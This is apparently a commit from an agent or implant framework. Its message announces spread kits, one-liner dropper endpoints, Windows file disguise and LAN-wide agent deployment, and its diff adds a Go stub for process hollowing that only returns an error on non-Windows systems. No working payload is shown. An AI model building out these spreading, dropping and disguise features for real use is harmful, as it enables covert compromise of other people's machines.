Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/hollow_stub_all.go

@@ -0,0 +1,12 @@
+//go:build !windows
+
+package deploy
+
+import "fmt"
+
+// RunHollowed is only available on Windows with the hollow build tag.
+func RunHollowed(targetExe string, payload []byte) error {
+	_ = targetExe
+	_ = payload
+	return fmt.Errorf("process hollowing not available on this platform")
+}